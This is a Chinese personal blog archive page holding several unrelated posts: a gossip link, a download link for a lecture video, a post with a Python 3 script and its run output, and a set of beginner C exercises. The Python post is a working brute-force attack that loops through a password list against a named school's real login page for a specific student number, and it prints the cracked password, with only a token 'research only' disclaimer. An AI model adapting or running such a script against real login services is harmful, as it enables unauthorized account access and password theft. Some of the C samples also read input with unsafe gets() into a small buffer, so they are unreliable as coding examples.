Archive for the ‘misc’ Category

兽兽之后成都工行女郑璇也来了

一个门接着一个门啊,看都看不过来。ML是他们的权利,围观是我们的福利。请ctrl+A[via]

 

《2030肢解中国—美国的全球战略与中国的危机》戴旭上校在母校演讲的视频完整版下载

下载地址:

ed2k://|file|2030%E8%82%A2%E8%A7%A3%E4%B8%AD%E5%9B%BD-%E7%BE%8E%E5%9B%BD%E5%85%A8%E7%90%83%E6%88%98%E7%95%A5%E4%B8%8E%E4%B8%AD%E5%9B%BD%E5%8D%B1%E6%9C%BA%EF%BC%88%E6%88%B4%E6%97%AD%EF%BC%89-%E4%BC%98%E9%85%B7.flv|268138528|463B900026426595A967C435F18DB252|h=B6TKAUYKDXMKTI5LKMYG5SWNKNXXGNJS|/

用电骡或迅雷下载。

youtube在线观看:http://docs.google.com/View?id=dhh5gtxb_458fhvj5zc5 【翻墙的需要】。[update 2010.2.22]

 

Python零基础到编写网页brute force cracking script

二级考完了,成绩还没有出现,现在每个星期7节课,我纳闷了,课程能否安排多一点嘛。别水得太明显了,否则我都不好意思在高中同学面前说我们课有好“多”,有好“忙”了。

何以解忧,唯有上网!准备用python写个暴力破解学校数字话校园的脚本,(注:三天前开始看<python入门.doc>),粗略了看了一下数据类型和各种程序结构的语法for啊,if , elif ,else 之类的 。

python现在的稳定版有两个2.6.1和3.0.1,听说后者改进了很多东西,不如去掉了urllib2,统一到urllib中。正是python的改进时如此的迅速造成了我股沟出来的源码很多都运行不起了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#tunpishuang at gmail dot com
#2009.4.1
#dc_crack.py 0.0.1
import urllib.request
import urllib.parse
fsock=open('pass.txt','r')
for i in range(1,10000000):
        pw=fsock.readline(7)
        params = urllib.parse.urlencode({"__VIEWSTATE":"/wEPDwUKLTc4NzgzNzQ2OA9kFgICAw9kFgICAw8PFgIeBFRleHQFD+aVsOWtl+WMluagoeWbrWRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQlpYnRuTG9naW5tSss80plBNjDsxReY6EwpOTNoAA==","tbUserNo": 20720310307, "tbPW": pw,"ibtnLogin.x":28,"ibtnLogin.y":12,"__EVENTVALIDATION":"/wEWBALXj5D7DgKK/c7gAQLGusrDBwKBo5SvBRBXbuiC9/sP++91qHXRDbl49eF+"})
        f = urllib.request.urlopen("http://dc.cqit.edu.cn/userlogin.aspx", params)
        flag=str(f.read(9))
        if(flag == "b'<script>t'"):
                print("login ok!")
                print("the true password is: %s" %pw)
                break
        else:
                print("flag:%s ,password:<%s> wrong !trying next password...\n" % (flag,pw))

通过http.client.HTTPResponse这个实例的类文件对象的read(9)方法来判断,开始无论密码正确否都返回error!,后来在Google论坛comp.lang.python发了个帖子,某老外热情的解答了我等小菜的疑问,甚感激。

原来是py3默认用的unicode,但是http返回的是bytes,需要通过str()转换一下,大概就是这样吧。

最后把自己的密码改成一个稍微靠前点的:0000010:

>>>

flag:b’<script>a’ ,password:<0000000> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000001> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000002> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000003> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000004> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000005> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000006> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000007> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000008> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

flag:b’<script>a’ ,password:<0000009> wrong !trying next password…

flag:b’<script>a’ ,password:<

> wrong !trying next password…

login ok!

the true password is: 0000010

>>>

破完收工~下一步准备完善一下:词典直接放内存,通过参数支持get,post和自定义action页面,自定义发送输入….etc…..

[本文出现的脚本仅供研究,切勿用于非法用途,否则后果自负]

 

最近研究的c语言的数个实例,很菜的哦

1:#include “stdio.h”
void main()
{
printf(“你好啊  我靠!\n”);
}
2:
#include <stdio.h>
void main()
{
int a,b;
a=485555;
b=3825;
printf(“a=%d\n”,a);
printf(“%d%d\n”,a,b);
printf(“%d%8d\n”,a,b);
}
3:
#include <stdio.h>
void main()
{
int A,B,a,b;
printf(“输入一个数,然后按回车键”);
scanf(“%d”,&A);
printf(“输入一个数,然后按回车键”);
scanf(“%d”,&B);
printf(“先输入一个数,按空格键后,再输入第二个数,再按回车键”);
scanf(“%d %d”,&a,&b);
printf(“%d%8d\n”,A,B);
printf(“%d%8d\n”,a,b);
}
4:
#include <stdio.h>
#define RED 0
#define GREEN 1
#define BLUE 2
void main()
{
int a=66;
char c=’A';
double salary;
char name[20]=”张国强  男  28岁”;
salary=99.99;
printf(“%s\n”,name);
printf(“工资 = %8.2f\n”,salary);
printf(“\n%d,%x,%c\n”,a,a,a);
printf(“%d,%x,%c\n\n”,c,c,c);
printf(“红色%2d    绿色%2d    蓝色%2d\n”,RED,GREEN,BLUE);
printf(“\n”);
}
5:
#include <stdio.h>
#define RED 0
#define GREEN 1
#define BLUE 2
void main()
{
int a;
char name[20]=”张国强 男 28岁”;
a=sizeof(char);
printf(“size of char = %d\n”,a);
a=sizeof(int);
printf(“size of int = %d\n”,a);
a=sizeof(short int);
printf(“size of short int = %d\n”,a);
a=sizeof(float);
printf(“size of float = %d\n”,a);
a=sizeof(double);
printf(“size of double = %d\n”,a);
a=sizeof RED;
printf(“\nsize of RED = %d\n”,a);
a=sizeof name;
printf(“size of \’name\’ = %d\n”,a);
a=sizeof “file name”;
printf(“size of \”file name\” = %d\n\n”,a);
}
6:
#include <stdio.h>
void main()
{
printf(“%d\n”,’A');    //字符A
printf(“%d\n”,’\x41′);  //字符A
printf(“\n%d\n”,’\”‘);  //双引号
printf(“%d\n”,’\”);   //单引号
printf(“%d\n”,’\\’);   //反斜线
printf(“\n%d\n”,’\a’);  //响铃
printf(“%d\n”,’\b’);   //退格
printf(“%d\n”,’\t’);    //tab
printf(“%d\n”,’\n’);   //回车换行
printf(“%d\n”,’\v’);   //垂直制表
printf(“%d\n”,’\f’);   //换页
printf(“%d\n\n”,’\r’);   //回车
}
7:
#include <stdio.h>
int a=66;
void main()
{
int data[3] = {100,201,3300};
static char str[ ]={‘A’,'b’,67,68,’\0′};
auto char name[ ]=”张国强 男 28岁”;
printf(“%d,%d,%d\n”,data[0],data[1],data[2]);
printf(“%s\n”,str);
printf(“%s\n”,name);
printf(“\n”);
a=sizeof data;
printf(“size of \’data\’ = %d\n”,a);
a=sizeof str;
printf(“size of \’str\’ = %d\n”,a);
a=sizeof name;
printf(“size of \’name\’ = %d\n”,a);
printf(“\n”);
printf(“请输入你的身份证号码\n”);
gets(str);          //允许输入的数字间有空格
printf(“\n身份证号码: %s\n\n”,str);
puts(str); //和printf功能相同,
}
8:
#include “stdio.h”
void main()
{
double a,b,c;
a=1155+112.3+11.4+20.5+10.2+5.2+10.1;
b=a/110.3;
c=2450*a;
printf(“\n总使用面积=%f 平方米”,a);
printf(“利用率=%f %c\n\n”,b*100,36);
printf(“售价=%f 元\n\n”,c);
}
就是这些了,才在研究所以都是一些简单的撒.
20081108评论:原来我是2006年开始学C语言的